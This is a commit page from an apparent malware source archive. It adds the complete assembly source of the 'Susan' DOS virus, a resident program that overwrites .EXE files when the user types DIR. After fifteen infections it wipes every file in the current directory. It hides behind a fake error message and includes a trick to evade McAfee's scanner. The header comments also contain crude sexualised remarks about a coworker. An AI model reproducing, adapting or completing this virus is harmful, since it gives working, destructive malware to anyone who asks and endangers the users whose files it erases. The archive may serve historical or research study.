mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,388 @@
|
||||
Susan virus: included in Crypt Newsletter 13
|
||||
|
||||
COMMENT *
|
||||
|
||||
Susan Virus, Strain A
|
||||
Written by NB
|
||||
|
||||
This program needs to be assembled with Turbo Assembler.
|
||||
Special thanks go to Richard S. Sadowsky of TurboPower Software
|
||||
for the help on using INT 2F with those majick functions!
|
||||
|
||||
This is an example of an interesting technique for writing a virus
|
||||
that is terminate-and-stay-resident.
|
||||
|
||||
Description:
|
||||
|
||||
Susan is a file overwrite virus. Named for a woman in my department
|
||||
who is overly concerned about virii, but has no idea about what the
|
||||
fuck they actually are. She also has real nice tits. This is a TSR
|
||||
that only infects .EXE files. Each time the user types "DIR", the
|
||||
first .EXE file found is infected. After 15 such infections, then
|
||||
each time DIR is typed, all files are erased in that directory.
|
||||
|
||||
Infected .EXEs are destroyed and will not run. Attempts to run them
|
||||
will display the message "Bad command or file name" message.
|
||||
|
||||
Interesting Features:
|
||||
|
||||
- File size and date-stamp of infected file is maintained.
|
||||
|
||||
- Uses Vienna Virus technique of using the file time to determine
|
||||
if a target file is infected.
|
||||
|
||||
- Infects and zaps everytime the user types a plain DIR command.
|
||||
|
||||
- Hooks INT 2F for handling the DIR command.
|
||||
|
||||
- Hooks INT 2F AX=010F (PRINT.COM int) to determine if the virus in
|
||||
installed in memory.
|
||||
|
||||
- Writes the bug directly from memory.
|
||||
*
|
||||
|
||||
.model small
|
||||
.code
|
||||
|
||||
LOCALS @@
|
||||
|
||||
ORG 100h ; for COM file
|
||||
|
||||
DTA STRUC ; used for file searching
|
||||
dtaReserved db 21 dup (0)
|
||||
dtaAttrib db 0
|
||||
dtaTime dw 0
|
||||
dtaDate dw 0
|
||||
dtaSize dd 0
|
||||
dtaName db 13 dup (0)
|
||||
DTA ENDS
|
||||
|
||||
DPL STRUC ; DOS Parameter List used for undoc funcs
|
||||
dplAX DW 0
|
||||
dplBX DW 0
|
||||
dplCX DW 0
|
||||
dplDX DW 0
|
||||
dplSI DW 0
|
||||
dplDI DW 0
|
||||
dplDS DW 0
|
||||
dplES DW 0
|
||||
dplCID DW 0 ; computer ID (0 = current system)
|
||||
dplPID DW 0 ; process ID (PSP on specified computer)
|
||||
DPL ENDS
|
||||
|
||||
Pointer STRUC ; nice structure for a pointer type
|
||||
Ofst DW 0
|
||||
Segm DW 0
|
||||
Pointer ENDS
|
||||
|
||||
Start:
|
||||
JMP Initialize
|
||||
|
||||
OurCommandLen EQU 3
|
||||
PathOfs EQU 80h ; Use command tail of PSP as path buffer
|
||||
FuckMeNow EQU 16
|
||||
|
||||
virSig dw 'uS' ; Don't delete this line...
|
||||
virName db 'san' ; ...this is the Susan Virus!
|
||||
EofMarker db 26
|
||||
OldInt2F Pointer <>
|
||||
FNameLen db 3
|
||||
FileName db '*.*', 0
|
||||
DeleteDPL DPL <>
|
||||
FuckCount db 0
|
||||
SaveDTA Pointer <>
|
||||
TargetMask db '*.EXE', 0
|
||||
Victim DTA <>
|
||||
OurCmd db 'DIR', 0Dh
|
||||
|
||||
IsInfected:
|
||||
; This will detect if the .exe is already infected. We are using
|
||||
; a nifty technique pulled from the Vienna Virus. If the file's
|
||||
; seconds is 62, then that file is infected.
|
||||
MOV AX, Victim.dtaTime
|
||||
AND AX, 1Fh
|
||||
CMP AX, 1Fh ; >60 seconds
|
||||
; JZ infected
|
||||
; JNZ not infected
|
||||
RET
|
||||
|
||||
SearchExec:
|
||||
; Returns AX = 1 if a uninfected file found
|
||||
XOR CX,CX ; Search for an .EXE file
|
||||
MOV DX,OFFSET TargetMask ; DS has seg
|
||||
MOV AH, 4Eh
|
||||
INT 21h
|
||||
JC @@AlreadyInfected ; No .exes in this directory
|
||||
|
||||
CALL IsInfected ; Is this file infected?
|
||||
JNZ @@NotInfectedYET
|
||||
|
||||
; Need to look for next file (maybe next version, haha)
|
||||
|
||||
@@AlreadyInfected:
|
||||
XOR AX, AX ; Zeros out AX
|
||||
RET
|
||||
@@NotInfectedYET:
|
||||
MOV AX, 1 ; Return a <> Zero indicator: Boolean
|
||||
RET
|
||||
|
||||
CopySelf:
|
||||
MOV DX, OFFSET Victim.dtaName ; Open file for read/write
|
||||
|
||||
MOV AX, 4301h
|
||||
MOV CX, 0 ; Clear all attributes to NORMAL
|
||||
INT 21h
|
||||
|
||||
MOV AH, 3Dh ; Now open up the file... Don't worry now about nets
|
||||
MOV AL, 2 ; read/write access
|
||||
int 21h
|
||||
MOV BX, AX
|
||||
|
||||
PUSH CS ; Write the virus to the start of the open file
|
||||
POP DS
|
||||
MOV DX,OFFSET Start ; Start of virus
|
||||
MOV CX,1 + OFFSET EndOBug - OFFSET Start ; total size of virus
|
||||
MOV AH,40h
|
||||
NOP ; WOW! this NOP will suppresses McAfees' scan from
|
||||
INT 21h ; thinking this is a VR [FR] virus!
|
||||
|
||||
MOV DX, Victim.dtaDate
|
||||
MOV CX, Victim.dtaTime ; We gotta fix up the file's datestamp
|
||||
MOV AX, 5701h
|
||||
OR CX, 001Fh ; And set the time to 62 seconds!
|
||||
INT 21h ; ala Vienna Virus
|
||||
|
||||
MOV AH, 3Eh ; Close up the file - we're done
|
||||
INT 21h
|
||||
|
||||
RET
|
||||
|
||||
Manipulate:
|
||||
PUSH AX ; Uh...Save registers?
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
|
||||
MOV SI,CS ; get Canonical pathname
|
||||
MOV ES,SI
|
||||
MOV DS,SI
|
||||
|
||||
CMP FuckCount, FuckMeNow ; Do we start the deletes or just infect?
|
||||
JL @@InfectCity
|
||||
|
||||
MOV DI,PathOfs
|
||||
MOV SI,OFFSET FileName ; Mask to delete
|
||||
MOV AH,60h
|
||||
INT 21h
|
||||
|
||||
MOV SI,OFFSET DeleteDPL ; Build DOS Parameter List
|
||||
MOV [SI].dplAX,4100h
|
||||
MOV AX,CS
|
||||
MOV [SI].dplDS,AX
|
||||
MOV [SI].dplDX,PathOfs
|
||||
MOV [SI].dplES,0
|
||||
MOV [SI].dplCID,0
|
||||
MOV [SI].dplPID,AX
|
||||
|
||||
MOV DS,AX ; Make DOS Server Function Call
|
||||
MOV DX,SI
|
||||
MOV AX,5D00h
|
||||
INT 21h
|
||||
|
||||
; Infect more here...
|
||||
@@InfectCity:
|
||||
MOV AH, 2FH ; get the current DTA address
|
||||
INT 21h
|
||||
MOV AX,ES
|
||||
MOV SaveDTA.Segm, AX ; Save it
|
||||
MOV SaveDTA.Ofst, BX
|
||||
|
||||
MOV DX, OFFSET victim ; Set DTA to this glob of memory
|
||||
MOV AH, 1Ah
|
||||
INT 21h
|
||||
|
||||
CALL SearchExec
|
||||
CMP AX, 0
|
||||
JZ @@InfectNot
|
||||
|
||||
CALL CopySelf
|
||||
INC FuckCount ; Track the time until eating files...
|
||||
|
||||
PUSH DS ; Restore the DTA
|
||||
MOV AX, SaveDTA.Segm
|
||||
MOV DS, AX
|
||||
MOV DX, SaveDTA.Ofst
|
||||
MOV AH, 1Ah
|
||||
INT 21h
|
||||
POP DS
|
||||
|
||||
; And return to the way it was...
|
||||
@@InfectNot:
|
||||
POP ES
|
||||
POP DS
|
||||
POP DI
|
||||
POP SI
|
||||
POP DX
|
||||
POP AX
|
||||
|
||||
; If you want the DOS command to not execute, then you just need to uncomment
|
||||
; out the next line:
|
||||
|
||||
; MOV BYTE PTR [SI],0 ; clear out the command string
|
||||
|
||||
RET
|
||||
|
||||
; convert pascal style string in DS:SI to uppercase
|
||||
UpperCaseSt:
|
||||
PUSH CX
|
||||
PUSH SI
|
||||
XOR CX,CX
|
||||
MOV CL,BYTE PTR [SI]
|
||||
@@UpcaseCh: ; Oh well, not too hard...
|
||||
INC SI
|
||||
CMP BYTE PTR [SI],'a'
|
||||
JB @@NotLower
|
||||
CMP BYTE PTR [SI],'z'
|
||||
JA @@NotLower
|
||||
SUB BYTE PTR [SI],'a' - 'A'
|
||||
@@NotLower:
|
||||
LOOP @@UpcaseCh
|
||||
POP SI
|
||||
POP CX
|
||||
RET
|
||||
|
||||
; zf set if match, zf not set if no match
|
||||
IsMatch:
|
||||
; NOTE: ds:bx has command line
|
||||
; ofs 0 has max length of command line
|
||||
; ofs 1 has count of bytes to follow command line text,
|
||||
; terminated with 0Dh
|
||||
PUSH CX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH ES
|
||||
MOV SI,BX
|
||||
INC SI
|
||||
CALL UpperCaseSt
|
||||
INC SI
|
||||
MOV CX,CS
|
||||
MOV ES,CX
|
||||
MOV DI,OFFSET OurCmd
|
||||
MOV CX,OurCommandLen + 1
|
||||
CLD
|
||||
REPE CMPSB
|
||||
POP ES
|
||||
POP DI
|
||||
POP SI
|
||||
POP CX
|
||||
RET
|
||||
|
||||
IsMatch2:
|
||||
PUSH CX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH ES
|
||||
XOR CX,CX
|
||||
MOV CL,BYTE PTR [SI]
|
||||
INC SI
|
||||
CMP CL,OurCommandLen
|
||||
JNZ @@NotOurs
|
||||
MOV DI,CS
|
||||
MOV ES,DI
|
||||
MOV DI,OFFSET OurCmd
|
||||
CLD
|
||||
REPE CMPSB
|
||||
@@NotOurs:
|
||||
POP ES
|
||||
POP DI
|
||||
POP SI
|
||||
POP CX
|
||||
RET
|
||||
|
||||
Int2FHandler:
|
||||
CMP AX, 010Fh ; Am I installed?
|
||||
JNZ CheckCmd
|
||||
MOV AX, virSig
|
||||
IRET
|
||||
CheckCmd:
|
||||
CMP AH,0AEh ; a nifty-c00l majick function
|
||||
JNE @@ChainInt2F
|
||||
CMP AL,0
|
||||
JE @@CheckCommand
|
||||
CMP AL,1
|
||||
JE @@ExecuteCommand
|
||||
@@ChainInt2F:
|
||||
JMP DWORD PTR CS:[OldInt2F]
|
||||
|
||||
@@CheckCommand: ; Dos is checking if we are a valid command
|
||||
CMP DX,0FFFFh
|
||||
JNE @@ChainInt2F
|
||||
CALL IsMatch
|
||||
JNZ @@ChainInt2F
|
||||
MOV AL,0FFh
|
||||
IRET
|
||||
|
||||
@@ExecuteCommand: ; Dos says "yup! - Execute it!"
|
||||
CMP DX,0FFFFh
|
||||
JNE @@ChainInt2F
|
||||
CALL IsMatch2
|
||||
JNZ @@ChainInt2F
|
||||
CALL Manipulate
|
||||
IRET
|
||||
|
||||
Initialize:
|
||||
MOV FuckCount, 0 ; Clear it since we may have written junk
|
||||
|
||||
MOV DX,OFFSET InstallMsg
|
||||
MOV AH,09h
|
||||
INT 21h
|
||||
|
||||
MOV AH,30h ; Check DOS version >= 3.3
|
||||
INT 21h
|
||||
XCHG AH,AL
|
||||
CMP AX,0303h
|
||||
JB @@InstallBad
|
||||
|
||||
; NOTE: This checks to see if we are already installed in memory.
|
||||
; Basically, we have added a new subfunction to the PRINT funcs
|
||||
; which returns my initials if installed.
|
||||
MOV AX, 010Fh ; Check if we are installed
|
||||
INT 2Fh
|
||||
CMP AX, virSig
|
||||
JZ @@InstallBad
|
||||
|
||||
MOV AX,352Fh ; Lets get and save int 2F
|
||||
INT 21h
|
||||
MOV OldInt2F.Ofst,BX
|
||||
MOV OldInt2F.Segm,ES
|
||||
MOV DX,OFFSET Int2FHandler ; And set it to ours
|
||||
MOV AX,252Fh
|
||||
INT 21h
|
||||
MOV SI,2Ch
|
||||
MOV AX,[SI] ; get segment of env's memory
|
||||
MOV ES,AX
|
||||
MOV AH,49h ; release environment block's memory
|
||||
INT 21h
|
||||
|
||||
; NOTE: Normally, we would have something like OFFSET INITIALIZE but
|
||||
; since we want to write the code from memory to disk, we have to
|
||||
; keep the whole thing in memory.
|
||||
MOV DX,OFFSET EndOBug
|
||||
ADD DX,15
|
||||
MOV CL,4
|
||||
SHR DX,CL
|
||||
MOV AX,3100h
|
||||
INT 21h ; Terminate and stay resident!
|
||||
|
||||
@@InstallBad:
|
||||
MOV AX,4C00h ; Just quit with no message - no sense telling what
|
||||
INT 21h ; may have occured...
|
||||
|
||||
InstallMsg:
|
||||
db 'Bad command or file name', 0Dh, 0Ah
|
||||
EndOBug db '$' ; Very important (tho lame) - Do not remove!
|
||||
|
||||
_TEXT ENDS
|
||||
END Start
|
||||
Reference in New Issue
Block a user